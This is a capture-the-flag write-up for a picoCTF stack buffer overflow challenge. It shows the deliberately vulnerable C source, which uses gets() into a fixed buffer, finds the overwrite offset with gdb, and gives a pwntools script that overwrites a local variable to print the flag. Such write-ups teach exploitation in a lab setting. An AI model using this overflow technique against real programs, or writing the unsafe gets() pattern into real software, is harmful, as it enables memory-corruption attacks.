Clutter, clutter everywhere and not a byte to use.
Enumeration
We have access to the source code for this binary so we’ll start analysing it:
#include <stdio.h>
#include <stdlib.h>
#define SIZE 0x100
#define GOAL 0xdeadbeef
const char* HEADER =
" ______________________________________________________________________\n"
"|^ ^ ^ ^ ^ ^ |L L L L|^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^|\n"
"| ^ ^ ^ ^ ^ ^| L L L | ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ |\n"
"|^ ^ ^ ^ ^ ^ |L L L L|^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ==================^ ^ ^|\n"
"| ^ ^ ^ ^ ^ ^| L L L | ^ ^ ^ ^ ^ ^ ___ ^ ^ ^ ^ / \\^ ^ |\n"
"|^ ^_^ ^ ^ ^ =========^ ^ ^ ^ _ ^ / \\ ^ _ ^ / | | \\^ ^|\n"
"| ^/_\\^ ^ ^ /_________\\^ ^ ^ /_\\ | // | /_\\ ^| | ____ ____ | | ^ |\n"
"|^ =|= ^ =================^ ^=|=^| |^=|=^ | | {____}{____} | |^ ^|\n"
"| ^ ^ ^ ^ | ========= |^ ^ ^ ^ ^\\___/^ ^ ^ ^| |__%%%%%%%%%%%%__| | ^ |\n"
"|^ ^ ^ ^ ^| / ( \\ | ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ |/ %%%%%%%%%%%%%% \\|^ ^|\n"
".-----. ^ || ) ||^ ^.-------.-------.^| %%%%%%%%%%%%%%%% | ^ |\n"
"| |^ ^|| o ) ( o || ^ | | | | /||||||||||||||||\\ |^ ^|\n"
"| ___ | ^ || | ( )) | ||^ ^| ______|_______|^| |||||||||||||||lc| | ^ |\n"
"|'.____'_^||/!\\@@@@@/!\\|| _'______________.'|== =====\n"
"|\\|______|===============|________________|/|\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\n"
"\" ||\"\"\"\"||\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"||\"\"\"\"\"\"\"\"\"\"\"\"\"\"||\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\" \n"
"\"\"''\"\"\"\"''\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"''\"\"\"\"\"\"\"\"\"\"\"\"\"\"''\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\n"
"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\n"
"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"";
int main(void)
{
long code = 0;
char clutter[SIZE];
setbuf(stdout, NULL);
setbuf(stdin, NULL);
setbuf(stderr, NULL);
puts(HEADER);
puts("My room is so cluttered...");
puts("What do you see?");
gets(clutter);
if (code == GOAL) {
printf("code == 0x%llx: how did that happen??\n", GOAL);
puts("take a flag for your troubles");
system("cat flag.txt");
} else {
printf("code == 0x%llx\n", code);
printf("code != 0x%llx :(\n", GOAL);
}
return 0;
}
We need to modify the code variable to make our if condition true, goal can’t be modified as it’s not stored in a variable, it’s defined. We do see that there’s potential buffer overflow in the “clutter” variable which has a size of 0x100. Since the binary uses gets(), the size of the buffer being written into isn’t taken into consideration:
We can also check out the assembly to find the location of “clutter” in relation to rbp:
Testing
Let’s try some stack overflow and see what happens:
We get a segmentation fault. Let’s try using a more recognizable pattern to see if we can figure out where we start writing to the code variable. gdb can automate this for us:
We can then run the program and pass this instead of our AAAA overflow:
We see under rbp we have 272. Now, from this we can work out how much padding we’ll need before injecting our own value. We know our variable is at rbp – 8, so 272 – 8 gives us 264.
Scripting
Let’s write a quick script to perform the buffer overflow and overwrite the variable:
import sys
from pwn import *
local = None
ip = None
port = None
binPath = None
## Generate payload, padding + value we want to overwrite
def genPayload():
padding = "A" * 264
payload = padding + "\xef\xbe\xad\xde"
return payload
def main():
## set process context and variable
context.binary = binary = ELF(binPath)
payload = genPayload()
## Local or remote
if local is True:
p = process()
else:
p = remote(ip, port)
## Send payload
p.recvuntil("What do you see?")
p.sendline(payload)
p.interactive()
## Arg handling
if __name__ == "__main__":
if len(sys.argv) < 2:
print("Usage: " + sys.argv[0] + "<local/remote> <ip:port> </path/to/binary>")
exit()
if sys.argv[1].lower() == "remote":
if len(sys.argv) < 4:
print("Usage: " + sys.argv[0] + "remote <ip:port> </path/to/binary>")
exit()
ip,port = sys.argv[2].split(":")
binPath = sys.argv[3]
else:
if len(sys.argv) < 3:
print("Usage: " + sys.argv[0] + "local </path/to/binary>")
exit()
binPath = sys.argv[2]
local = True
main()
We can test this both locally and remotely, locally works fine so let’s try remotely too:
python2 exploit.py remote mars.picoctf.net:31890 chal
We get our flag sent back to us